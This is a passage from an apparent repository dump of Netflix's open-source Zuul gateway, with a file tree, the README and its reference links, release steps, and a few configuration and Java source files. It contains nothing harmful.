"SessionContextDecorator.java"}, {"type": "file", "name": "SessionContextFactory.java"}, {"type": "file", "name": "ZuulSessionContextDecorator.java"}]}, {"type": "file", "name": "DefaultFilterFactory.java"}, {"type": "file", "name": "DynamicCodeCompiler.java"}, {"type": "file", "name": "DynamicFilterLoader.java"}, {"type": "directory", "name": "exception", "children": [{"type": "file", "name": "ErrorType.java"}, {"type": "file", "name": "OutboundErrorType.java"}, {"type": "file", "name": "OutboundException.java"}, {"type": "file", "name": "RequestExpiredException.java"}, {"type": "file", "name": "ZuulException.java"}, {"type": "file", "name": "ZuulFilterConcurrencyExceededException.java"}]}, {"type": "file", "name": "ExecutionStatus.java"}, {"type": "file", "name": "Filter.java"}, {"type": "file", "name": "FilterCategory.java"}, {"type": "file", "name": "FilterFactory.java"}, {"type": "file", "name": "FilterFileManager.java"}, {"type": "file", "name": "FilterLoader.java"}, {"type": "directory", "name": "filters", "children": [{"type": "file", "name": "BaseFilter.java"}, {"type": "file", "name": "BaseSyncFilter.java"}, {"type": "directory", "name": "common", "children": [{"type": "file", "name": "GZipResponseFilter.java"}, {"type": "file", "name": "SurgicalDebugFilter.java"}]}, {"type": "directory", "name": "endpoint", "children": [{"type": "file", "name": "MissingEndpointHandlingFilter.java"}, {"type": "file", "name": "ProxyEndpoint.java"}]}, {"type": "file", "name": "Endpoint.java"}, {"type": "file", "name": "FilterError.java"}, {"type": "file", "name": "FilterRegistry.java"}, {"type": "file", "name": "FilterSyncType.java"}, {"type": "file", "name": "FilterType.java"}, {"type": "directory", "name": "http", "children": [{"type": "file", "name": "HttpInboundFilter.java"}, {"type": "file", "name": "HttpInboundSyncFilter.java"}, {"type": "file", "name": "HttpOutboundFilter.java"}, {"type": "file", "name": "HttpOutboundSyncFilter.java"}, {"type": "file", "name": "HttpSyncEndpoint.java"}]}, {"type": "file", "name": "MutableFilterRegistry.java"}, {"type": "directory", "name": "passport", "children": [{"type": "file", "name": "InboundPassportStampingFilter.java"}, {"type": "file", "name": "OutboundPassportStampingFilter.java"}, {"type": "file", "name": "PassportStampingFilter.java"}]}, {"type": "file", "name": "ShouldFilter.java"}, {"type": "file", "name": "SyncZuulFilter.java"}, {"type": "file", "name": "SyncZuulFilterAdapter.java"}, {"type": "file", "name": "ZuulFilter.java"}]}, {"type": "file", "name": "FilterUsageNotifier.java"}, {"type": "directory", "name": "logging", "children": [{"type": "file", "name": "Http2FrameLoggingPerClientIpHandler.java"}]}, {"type": "directory", "name": "message", "children": [{"type": "file", "name": "Header.java"}, {"type": "file", "name": "HeaderName.java"}, {"type": "file", "name": "Headers.java"}, {"type": "directory", "name": "http", "children": [{"type": "file", "name": "Cookies.java"}, {"type": "file", "name": "HttpHeaderNames.java"}, {"type": "file", "name": "HttpHeaderNamesCache.java"}, {"type": "file", "name": "HttpQueryParams.java"}, {"type": "file", "name": "HttpRequestInfo.java"}, {"type": "file", "name": "HttpRequestMessage.java"}, {"type": "file", "name": "HttpRequestMessageImpl.java"}, {"type": "file", "name": "HttpResponseInfo.java"}, {"type": "file", "name": "HttpResponseMessage.java"}, {"type": "file", "name": "HttpResponseMessageImpl.java"}]}, {"type": "directory", "name": "util", "children": [{"type": "file", "name": "HttpRequestBuilder.java"}]}, {"type": "file", "name": "ZuulMessage.java"}, {"type": "file", "name": "ZuulMessageImpl.java"}]}, {"type": "directory", "name": "metrics", "children": [{"type": "file", "name": "OriginStats.java"}, {"type": "file", "name": "OriginStatsFactory.java"}]}, {"type": "directory", "name": "monitoring", "children": [{"type": "file", "name": "ConnCounter.java"}, {"type": "file", "name": "ConnTimer.java"}, {"type": "file", "name": "MonitoringHelper.java"}, {"type": "file", "name": "Tracer.java"}, {"type": "file", "name": "TracerFactory.java"}]}, {"type": "directory", "name": "netty", "children": [{"type": "file", "name": "ChannelUtils.java"}, {"type": "directory", "name": "connectionpool", "children": [{"type": "file", "name": "BasicRequestStat.java"}, {"type": "file", "name": "ClientChannelManager.java"}, {"type": "file", "name": "ClientTimeoutHandler.java"}, {"type": "file", "name": "ConnectionPoolConfig.java"}, {"type": "file", "name": "ConnectionPoolConfigImpl.java"}, {"type": "file", "name": "ConnectionPoolHandler.java"}, {"type": "file", "name": "DefaultClientChannelManager.java"}, {"type": "file", "name": "DefaultOriginChannelInitializer.java"}, {"type": "file", "name": "IConnectionPool.java"}, {"type": "file", "name": "NettyClientConnectionFactory.java"}, {"type": "file", "name": "OriginChannelInitializer.java"}, {"type": "file", "name": "OriginConnectException.java"}, {"type": "file", "name": "PerServerConnectionPool.java"}, {"type": "file", "name": "PooledConnection.java"}, {"type": "file", "name": "PooledConnectionFactory.java"}, {"type": "file", "name": "RequestStat.java"}, {"type": "file", "name": "ZuulNettyExceptionMapper.java"}]}, {"type": "directory", "name": "filter", "children": [{"type": "file", "name": "BaseZuulFilterRunner.java"}, {"type": "file", "name": "FilterRunner.java"}, {"type": "file", "name": "ZuulEndPointRunner.java"}, {"type": "file", "name": "ZuulFilterChainHandler.java"}, {"type": "file", "name": "ZuulFilterChainRunner.java"}]}, {"type": "directory", "name": "insights", "children": [{"type": "file", "name": "PassportLoggingHandler.java"}, {"type": "file", "name": "PassportStateHttpClientHandler.java"}, {"type": "file", "name": "PassportStateHttpServerHandler.java"}, {"type": "file", "name": "PassportStateListener.java"}, {"type": "file", "name": "PassportStateOriginHandler.java"}, {"type": "file", "name": "ServerStateHandler.java"}]}, {"type": "file", "name": "NettyRequestAttemptFactory.java"}, {"type": "directory", "name": "ratelimiting", "children": [{"type": "file", "name": "NullChannelHandlerProvider.java"}]}, {"type": "file", "name": "RequestCancelledEvent.java"}, {"type": "directory", "name": "server", "children": [{"type": "file", "name": "BaseServerStartup.java"}, {"type": "file", "name": "BaseZuulChannelInitializer.java"}, {"type": "file", "name": "ClientConnectionsShutdown.java"}, {"type": "file", "name": "ClientRequestReceiver.java"}, {"type": "file", "name": "ClientResponseWriter.java"}, {"type": "file", "name": "DefaultEventLoopConfig.java"}, {"type": "file", "name": "DirectMemoryMonitor.java"}, {"type": "file", "name": "EventLoopConfig.java"}, {"type": "file", "name": "Http1MutualSslChannelInitializer.java"}, {"type": "directory", "name": "http2", "children": [{"type": "file", "name": "DummyChannelHandler.java"}, {"type": "file", "name": "Http2Configuration.java"}, {"type": "file", "name": "Http2ConnectionErrorHandler.java"}, {"type": "file", "name": "Http2ContentLengthEnforcingHandler.java"}, {"type": "file", "name": "Http2OrHttpHandler.java"}, {"type": "file", "name": "Http2ResetFrameHandler.java"}, {"type": "file", "name": "Http2SslChannelInitializer.java"}, {"type": "file", "name": "Http2StreamErrorHandler.java"}, {"type": "file", "name": "Http2StreamHeaderCleaner.java"}, {"type": "file", "name": "Http2StreamInitializer.java"}]}, {"type": "file", "name": "ListenerSpec.java"}, {"type": "file", "name": "MethodBinding.java"}, {"type": "file", "name": "NamedSocketAddress.java"}, {"type": "file", "name": "OriginResponseReceiver.java"}, {"type": "directory", "name": "push", "children": [{"type": "file", "name": "PushAuthHandler.java"}, {"type": "file", "name": "PushChannelInitializer.java"}, {"type": "file", "name": "PushClientProtocolHandler.java"}, {"type": "file", "name": "PushConnection.java"}, {"type": "file", "name": "PushConnectionRegistry.java"}, {"type": "file", "name": "PushMessageFactory.java"}, {"type": "file", "name": "PushMessageSender.java"}, {"type": "file", "name": "PushMessageSenderInitializer.java"}, {"type": "file", "name": "PushProtocol.java"}, {"type": "file", "name": "PushRegistrationHandler.java"}, {"type": "file", "name": "PushUserAuth.java"}]}, {"type": "file", "name": "Server.java"}, {"type": "file", "name": "ServerTimeout.java"}, {"type": "file", "name": "SocketAddressProperty.java"}, {"type": "directory", "name": "ssl", "children": [{"type": "file", "name": "SslHandshakeInfoHandler.java"}]}, {"type": "file", "name": "ZuulDependencyKeys.java"}, {"type": "file", "name": "ZuulServerChannelInitializer.java"}]}, {"type": "file", "name": "SpectatorUtils.java"}, {"type": "directory", "name": "ssl", "children": [{"type": "file", "name": "BaseSslContextFactory.java"}, {"type": "file", "name": "ClientSslContextFactory.java"}, {"type": "file", "name": "SslContextFactory.java"}]}, {"type": "directory", "name": "timeouts", "children": [{"type": "file", "name": "OriginTimeoutManager.java"}]}]}, {"type": "directory", "name": "niws", "children": [{"type": "file", "name": "RequestAttempt.java"}, {"type": "file", "name": "RequestAttempts.java"}]}, {"type": "directory", "name": "origins", "children": [{"type": "file", "name": "BasicNettyOrigin.java"}, {"type": "file", "name": "BasicNettyOriginManager.java"}, {"type": "file", "name": "InstrumentedOrigin.java"}, {"type": "file", "name": "NettyOrigin.java"}, {"type": "file", "name": "Origin.java"}, {"type": "file", "name": "OriginConcurrencyExceededException.java"}, {"type": "file", "name": "OriginManager.java"}, {"type": "file", "name": "OriginName.java"}, {"type": "file", "name": "OriginThrottledException.java"}]}, {"type": "directory", "name": "passport", "children": [{"type": "file", "name": "CurrentPassport.java"}, {"type": "file", "name": "PassportItem.java"}, {"type": "file", "name": "PassportState.java"}, {"type": "file", "name": "StartAndEnd.java"}]}, {"type": "directory", "name": "plugins", "children": [{"type": "file", "name": "Tracer.java"}]}, {"type": "file", "name": "RequestCompleteHandler.java"}, {"type": "file", "name": "StaticFilterLoader.java"}, {"type": "directory", "name": "stats", "children": [{"type": "file", "name": "AmazonInfoHolder.java"}, {"type": "file", "name": "BasicRequestMetricsPublisher.java"}, {"type": "file", "name": "ErrorStatsData.java"}, {"type": "file", "name": "ErrorStatsManager.java"}, {"type": "directory", "name": "monitoring", "children": [{"type": "file", "name": "Monitor.java"}, {"type": "file", "name": "MonitorRegistry.java"}, {"type": "file", "name": "NamedCount.java"}]}, {"type": "file", "name": "NamedCountingMonitor.java"}, {"type": "file", "name": "RequestMetricsPublisher.java"}, {"type": "file", "name": "RouteStatusCodeMonitor.java"}, {"type": "file", "name": "StatsManager.java"}, {"type": "directory", "name": "status", "children": [{"type": "file", "name": "StatusCategory.java"}, {"type": "file", "name": "StatusCategoryGroup.java"}, {"type": "file", "name": "StatusCategoryUtils.java"}, {"type": "file", "name": "ZuulStatusCategory.java"}, {"type": "file", "name": "ZuulStatusCategoryGroup.java"}]}]}, {"type": "directory", "name": "util", "children": [{"type": "file", "name": "Gzipper.java"}, {"type": "file", "name": "HttpUtils.java"}, {"type": "file", "name": "JsonUtility.java"}, {"type": "file", "name": "ProxyUtils.java"}, {"type": "file", "name": "VipUtils.java"}]}, {"type": "file", "name": "ZuulApplicationInfo.java"}]}]}]}]}]}, {"type": "directory", "name": "test", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "netty", "children": [{"type": "directory", "name": "common", "children": [{"type": "file", "name": "CloseOnIdleStateHandlerTest.java"}, {"type": "file", "name": "HttpServerLifecycleChannelHandlerTest.java"}, {"type": "directory", "name": "metrics", "children": [{"type": "file", "name": "InstrumentedResourceLeakDetectorTest.java"}]}, {"type": "directory", "name": "proxyprotocol", "children": [{"type": "file", "name": "ElbProxyProtocolChannelHandlerTest.java"}, {"type": "file", "name": "HAProxyMessageChannelHandlerTest.java"}, {"type": "file", "name": "StripUntrustedProxyHeadersHandlerTest.java"}]}, {"type": "file", "name": "SourceAddressChannelHandlerTest.java"}, {"type": "directory", "name": "throttle", "children": [{"type": "file", "name": "MaxInboundConnectionsHandlerTest.java"}]}]}]}, {"type": "directory", "name": "zuul", "children": [{"type": "file", "name": "AttrsTest.java"}, {"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "zuul", "children": [{"type": "directory", "name": "netty", "children": [{"type": "directory", "name": "server", "children": [{"type": "directory", "name": "push", "children": [{"type": "file", "name": "PushConnectionTest.java"}]}]}]}]}]}]}, {"type": "directory", "name": "context", "children": [{"type": "file", "name": "DebugTest.java"}, {"type": "file", "name": "SessionContextTest.java"}]}, {"type": "file", "name": "DynamicFilterLoaderTest.java"}, {"type": "file", "name": "FilterFileManagerTest.java"}, {"type": "directory", "name": "filters", "children": [{"type": "file", "name": "BaseFilterTest.java"}, {"type": "directory", "name": "common", "children": [{"type": "file", "name": "GZipResponseFilterTest.java"}]}, {"type": "directory", "name": "endpoint", "children": [{"type": "file", "name": "ProxyEndpointTest.java"}]}]}, {"type": "directory", "name": "message", "children": [{"type": "file", "name": "HeadersTest.java"}, {"type": "directory", "name": "http", "children": [{"type": "file", "name": "HttpQueryParamsTest.java"}, {"type": "file", "name": "HttpRequestMessageImplTest.java"}, {"type": "file", "name": "HttpResponseMessageImplTest.java"}]}, {"type": "file", "name": "ZuulMessageImplTest.java"}]}, {"type": "directory", "name": "monitoring", "children": [{"type": "file", "name": "ConnCounterTest.java"}, {"type": "file", "name": "ConnTimerTest.java"}]}, {"type": "directory", "name": "netty", "children": [{"type": "directory", "name": "connectionpool", "children": [{"type": "file", "name": "ClientTimeoutHandlerTest.java"}, {"type": "file", "name": "ConnectionPoolConfigImplTest.java"}, {"type": "file", "name": "DefaultClientChannelManagerTest.java"}, {"type": "file", "name": "PerServerConnectionPoolTest.java"}]}, {"type": "directory", "name": "filter", "children": [{"type": "file", "name": "ZuulEndPointRunnerTest.java"}, {"type": "file", "name": "ZuulFilterChainRunnerTest.java"}]}, {"type": "directory", "name": "insights", "children": [{"type": "file", "name": "ServerStateHandlerTest.java"}]}, {"type": "directory", "name": "server", "children": [{"type": "file", "name": "BaseZuulChannelInitializerTest.java"}, {"type": "file", "name": "ClientConnectionsShutdownTest.java"}, {"type": "file", "name": "ClientRequestReceiverTest.java"}, {"type": "file", "name": "ClientResponseWriterTest.java"}, {"type": "directory", "name": "http2", "children": [{"type": "file", "name": "Http2ConnectionErrorHandlerTest.java"}, {"type": "file", "name": "Http2ContentLengthEnforcingHandlerTest.java"}, {"type": "file", "name": "Http2OrHttpHandlerTest.java"}]}, {"type": "file", "name": "IoUringTest.java"}, {"type": "directory", "name": "push", "children": [{"type": "file", "name": "PushAuthHandlerTest.java"}, {"type": "file", "name": "PushConnectionRegistryTest.java"}, {"type": "file", "name": "PushMessageSenderInitializerTest.java"}, {"type": "file", "name": "PushRegistrationHandlerTest.java"}]}, {"type": "file", "name": "ServerTest.java"}, {"type": "file", "name": "SocketAddressPropertyTest.java"}, {"type": "directory", "name": "ssl", "children": [{"type": "file", "name": "SslHandshakeInfoHandlerTest.java"}]}]}, {"type": "directory", "name": "ssl", "children": [{"type": "file", "name": "BaseSslContextFactoryTest.java"}, {"type": "file", "name": "ClientSslContextFactoryTest.java"}, {"type": "file", "name": "OpenSslTest.java"}]}, {"type": "directory", "name": "timeouts", "children": [{"type": "file", "name": "OriginTimeoutManagerTest.java"}]}]}, {"type": "directory", "name": "niws", "children": [{"type": "file", "name": "RequestAttemptTest.java"}]}, {"type": "directory", "name": "origins", "children": [{"type": "file", "name": "OriginNameTest.java"}]}, {"type": "directory", "name": "passport", "children": [{"type": "file", "name": "CurrentPassportTest.java"}]}, {"type": "file", "name": "StaticFilterLoaderTest.java"}, {"type": "directory", "name": "stats", "children": [{"type": "file", "name": "ErrorStatsDataTest.java"}, {"type": "file", "name": "ErrorStatsManagerTest.java"}, {"type": "file", "name": "RouteStatusCodeMonitorTest.java"}, {"type": "file", "name": "StatsManagerTest.java"}]}, {"type": "directory", "name": "util", "children": [{"type": "file", "name": "HttpUtilsTest.java"}, {"type": "file", "name": "JsonUtilityTest.java"}, {"type": "file", "name": "VipUtilsTest.java"}]}]}]}]}]}]}]}]}, {"type": "directory", "name": "zuul-discovery", "children": [{"type": "file", "name": "build.gradle"}, {"type": "file", "name": "dependencies.lock"}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "main", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "zuul", "children": [{"type": "directory", "name": "discovery", "children": [{"type": "file", "name": "DiscoveryResult.java"}, {"type": "file", "name": "DynamicServerResolver.java"}, {"type": "file", "name": "NonDiscoveryServer.java"}, {"type": "file", "name": "ResolverResult.java"}, {"type": "file", "name": "SimpleMetaInfo.java"}]}, {"type": "directory", "name": "resolver", "children": [{"type": "file", "name": "Resolver.java"}, {"type": "file", "name": "ResolverListener.java"}]}]}]}]}]}]}, {"type": "directory", "name": "test", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "zuul", "children": [{"type": "directory", "name": "discovery", "children": [{"type": "file", "name": "DiscoveryResultTest.java"}, {"type": "file", "name": "DynamicServerResolverTest.java"}]}]}]}]}]}]}]}]}, {"type": "directory", "name": "zuul-groovy", "children": [{"type": "file", "name": "build.gradle"}, {"type": "file", "name": "dependencies.lock"}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "main", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "zuul", "children": [{"type": "directory", "name": "groovy", "children": [{"type": "file", "name": "GroovyCompiler.java"}, {"type": "file", "name": "GroovyFileFilter.java"}]}, {"type": "directory", "name": "scriptManager", "children": [{"type": "file", "name": "FilterInfo.java"}, {"type": "file", "name": "FilterVerifier.java"}]}]}]}]}]}]}, {"type": "directory", "name": "test", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "zuul", "children": [{"type": "directory", "name": "groovy", "children": [{"type": "file", "name": "GroovyCompilerTest.java"}, {"type": "file", "name": "GroovyFileFilterTest.java"}]}, {"type": "directory", "name": "scriptManager", "children": [{"type": "file", "name": "FilterVerifierTest.java"}]}]}]}]}]}]}]}]}, {"type": "directory", "name": "zuul-guice", "children": [{"type": "file", "name": "build.gradle"}, {"type": "file", "name": "dependencies.lock"}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "main", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "zuul", "children": [{"type": "directory", "name": "guice", "children": [{"type": "file", "name": "GuiceFilterFactory.java"}]}, {"type": "directory", "name": "init", "children": [{"type": "file", "name": "ZuulFiltersModule.java"}]}]}]}]}]}]}, {"type": "directory", "name": "test", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "zuul", "children": [{"type": "file", "name": "BaseInjectionIntegTest.java"}, {"type": "directory", "name": "guice", "children": [{"type": "file", "name": "GuiceFilterFactoryIntegTest.java"}, {"type": "file", "name": "TestGuiceConstructorFilter.java"}, {"type": "file", "name": "TestGuiceFieldFilter.java"}]}, {"type": "directory", "name": "init", "children": [{"type": "file", "name": "InitTestModule.java"}, {"type": "file", "name": "TestZuulFilter.java"}, {"type": "file", "name": "ZuulFiltersModuleIntegTest.java"}, {"type": "file", "name": "ZuulFiltersModuleTest.java"}]}, {"type": "directory", "name": "init2", "children": [{"type": "file", "name": "TestZuulFilter2.java"}]}]}]}]}]}]}]}]}, {"type": "directory", "name": "zuul-integration-test", "children": [{"type": "file", "name": "build.gradle"}, {"type": "file", "name": "dependencies.lock"}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "test", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "netty", "children": [{"type": "directory", "name": "common", "children": [{"type": "directory", "name": "metrics", "children": [{"type": "file", "name": "CustomLeakDetector.java"}]}]}]}, {"type": "directory", "name": "zuul", "children": [{"type": "directory", "name": "integration", "children": [{"type": "file", "name": "IntegrationTest.java"}, {"type": "directory", "name": "server", "children": [{"type": "file", "name": "Bootstrap.java"}, {"type": "file", "name": "FilterLoaderProvider.java"}, {"type": "directory", "name": "filters", "children": [{"type": "file", "name": "BodyUtil.java"}, {"type": "file", "name": "InboundRoutesFilter.java"}, {"type": "file", "name": "NeedsBodyBufferedInboundFilter.java"}, {"type": "file", "name": "NeedsBodyBufferedOutboundFilter.java"}, {"type": "file", "name": "RequestHeaderFilter.java"}, {"type": "file", "name": "ResponseHeaderFilter.java"}]}, {"type": "file", "name": "HeaderNames.java"}, {"type": "file", "name": "NoFilenameFilter.java"}, {"type": "file", "name": "OriginServerList.java"}, {"type": "file", "name": "ServerModule.java"}, {"type": "file", "name": "ServerStartup.java"}, {"type": "file", "name": "TestUtil.java"}]}]}]}]}]}]}, {"type": "directory", "name": "resources", "children": [{"type": "file", "name": "application.properties"}, {"type": "file", "name": "log4j2-test.xml"}]}]}]}]}, {"type": "directory", "name": "zuul-processor", "children": [{"type": "file", "name": "build.gradle"}, {"type": "file", "name": "dependencies.lock"}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "main", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "zuul", "children": [{"type": "directory", "name": "filters", "children": [{"type": "directory", "name": "processor", "children": [{"type": "file", "name": "FilterProcessor.java"}]}]}]}]}]}]}, {"type": "directory", "name": "resources", "children": [{"type": "directory", "name": "META-INF", "children": [{"type": "directory", "name": "gradle", "children": [{"type": "file", "name": "incremental.annotation.processors"}]}, {"type": "directory", "name": "services", "children": [{"type": "file", "name": "javax.annotation.processing.Processor"}]}]}]}]}, {"type": "directory", "name": "test", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "zuul", "children": [{"type": "directory", "name": "filters", "children": [{"type": "directory", "name": "processor", "children": [{"type": "file", "name": "FilterProcessorTest.java"}, {"type": "directory", "name": "override", "children": [{"type": "file", "name": "package-info.java"}, {"type": "file", "name": "SubpackageFilter.java"}]}, {"type": "directory", "name": "subpackage", "children": [{"type": "file", "name": "OverrideFilter.java"}]}, {"type": "file", "name": "TestFilter.java"}, {"type": "file", "name": "TopLevelFilter.java"}]}]}]}]}]}]}]}]}]}, {"type": "directory", "name": "zuul-sample", "children": [{"type": "file", "name": "build.gradle"}, {"type": "file", "name": "dependencies.lock"}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "main", "children": [{"type": "directory", "name": "groovy", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "zuul", "children": [{"type": "directory", "name": "sample", "children": [{"type": "directory", "name": "filters", "children": [{"type": "directory", "name": "endpoint", "children": [{"type": "file", "name": "Healthcheck.groovy"}]}, {"type": "directory", "name": "inbound", "children": [{"type": "file", "name": "DebugRequest.groovy"}, {"type": "file", "name": "Routes.groovy"}, {"type": "file", "name": "SampleServiceFilter.groovy"}]}, {"type": "directory", "name": "outbound", "children": [{"type": "file", "name": "ZuulResponseFilter.groovy"}]}]}]}]}]}]}]}, {"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "zuul", "children": [{"type": "directory", "name": "sample", "children": [{"type": "file", "name": "Bootstrap.java"}, {"type": "directory", "name": "filters", "children": [{"type": "file", "name": "Debug.java"}]}, {"type": "directory", "name": "push", "children": [{"type": "file", "name": "SamplePushAuthHandler.java"}, {"type": "file", "name": "SamplePushMessageSender.java"}, {"type": "file", "name": "SamplePushMessageSenderInitializer.java"}, {"type": "file", "name": "SamplePushUserAuth.java"}, {"type": "file", "name": "SampleSSEPushChannelInitializer.java"}, {"type": "file", "name": "SampleSSEPushClientProtocolHandler.java"}, {"type": "file", "name": "SampleWebSocketPushChannelInitializer.java"}, {"type": "file", "name": "SampleWebSocketPushClientProtocolHandler.java"}]}, {"type": "file", "name": "SampleServerStartup.java"}, {"type": "file", "name": "SampleService.java"}, {"type": "file", "name": "ZuulSampleModule.java"}]}]}]}]}]}, {"type": "directory", "name": "resources", "children": [{"type": "file", "name": "application-benchmark.properties"}, {"type": "file", "name": "application-test.properties"}, {"type": "file", "name": "application.properties"}, {"type": "file", "name": "log4j2.properties"}, {"type": "directory", "name": "ssl", "children": [{"type": "file", "name": "client.cert"}, {"type": "file", "name": "server.cert"}, {"type": "file", "name": "truststore.jks"}]}]}]}]}]}]} | [![Snapshot](https://github.com/Netflix/zuul/actions/workflows/snapshot.yml/badge.svg)](https://github.com/Netflix/zuul/actions/workflows/snapshot.yml)
# Zuul
<img src="https://i.imgur.com/mRSosEp.png" width=500/>
Zuul is an L7 application gateway that provides capabilities for dynamic routing, monitoring, resiliency, security, and more.
Please view the wiki for usage, information, HOWTO, etc https://github.com/Netflix/zuul/wiki
Here are some links to help you learn more about the Zuul Project. Feel free to PR to add any other info, presentations, etc.
---
Articles from Netflix:
Zuul 1: http://techblog.netflix.com/2013/06/announcing-zuul-edge-service-in-cloud.html
Zuul 2:
https://netflixtechblog.com/open-sourcing-zuul-2-82ea476cb2b3
https://netflixtechblog.com/zuul-2-the-netflix-journey-to-asynchronous-non-blocking-systems-45947377fb5c
https://netflixtechblog.com/the-show-must-go-on-securing-netflix-studios-at-scale-19b801c86479
---
Netflix presentations about Zuul:
Strange Loop 2017 - Zuul 2: https://youtu.be/2oXqbLhMS_A
AWS re:Invent 2018 - Scaling push messaging for millions of Netflix devices: https://youtu.be/IdR6N9B-S1E
---
Slides from Netflix presentations about Zuul:
http://www.slideshare.net/MikeyCohen1/zuul-netflix-springone-platform
http://www.slideshare.net/MikeyCohen1/rethinking-cloud-proxies-54923218
https://github.com/strangeloop/StrangeLoop2017/blob/master/slides/ArthurGonigberg-ZuulsJourneyToNonBlocking.pdf
https://www.slideshare.net/SusheelAroskar/scaling-push-messaging-for-millions-of-netflix-devices
---
Projects Using Zuul:
https://cloud.spring.io/
https://jhipster.github.io/
---
Info and examples from various projects:
https://cloud.spring.io/spring-cloud-netflix/multi/multi__router_and_filter_zuul
http://www.baeldung.com/spring-rest-with-zuul-proxy
https://blog.heroku.com/using_netflix_zuul_to_proxy_your_microservices
http://blog.ippon.tech/jhipster-3-0-introducing-microservices/
---
Other blog posts about Zuul:
https://engineering.riotgames.com/news/riot-games-api-fulfilling-zuuls-destiny
https://engineering.riotgames.com/news/riot-games-api-deep-dive
http://instea.sk/2015/04/netflix-zuul-vs-nginx-performance/
---
# How to release Zuul
This project uses a GitHub Action workflow for publishing a new release.
The workflow is triggered by a Git tag.
```
git checkout master
git tag vX.Y.Z
git push --tags
```
| {".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n", ".github\\workflows\\gradle-wrapper-validation.yml": "name: \"Validate Gradle Wrapper\"\non: [push, pull_request]\n\njobs:\n validation:\n name: \"Gradle wrapper validation\"\n runs-on: ubuntu-latest\n steps:\n - uses: actions/checkout@v4\n - uses: gradle/wrapper-validation-action@v3\n", "gradle\\wrapper\\gradle-wrapper.properties": "distributionBase=GRADLE_USER_HOME\ndistributionPath=wrapper/dists\ndistributionUrl=https\\://services.gradle.org/distributions/gradle-8.4-bin.zip\nnetworkTimeout=10000\nvalidateDistributionUrl=true\nzipStoreBase=GRADLE_USER_HOME\nzipStorePath=wrapper/dists\n", "zuul-core\\src\\main\\java\\com\\netflix\\zuul\\ZuulApplicationInfo.java": "/*\n * Copyright 2018 Netflix, Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.netflix.zuul;\n\n/**\n * Metadata about the Zuul instance/ application name and \"stack\"\n * @author Mikey Cohen\n * Date: 2/15/13\n * Time: 1:56 PM\n */\npublic class ZuulApplicationInfo {\n public static String applicationName;\n public static String stack;\n\n public static String getApplicationName() {\n return applicationName;\n }\n\n public static void setApplicationName(String applicationName) {\n ZuulApplicationInfo.applicationName = applicationName;\n }\n\n public static String getStack() {\n return stack;\n }\n\n public static void setStack(String stack) {\n ZuulApplicationInfo.stack = stack;\n }\n}\n", "zuul-core\\src\\main\\java\\com\\netflix\\zuul\\netty\\connectionpool\\ZuulNettyExceptionMapper.java": "/*\n * Copyright 2018 Netflix, Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.netflix.zuul.netty.connectionpool;\n\n/**\n * User: Mike Smith\n * Date: 7/13/16\n * Time: 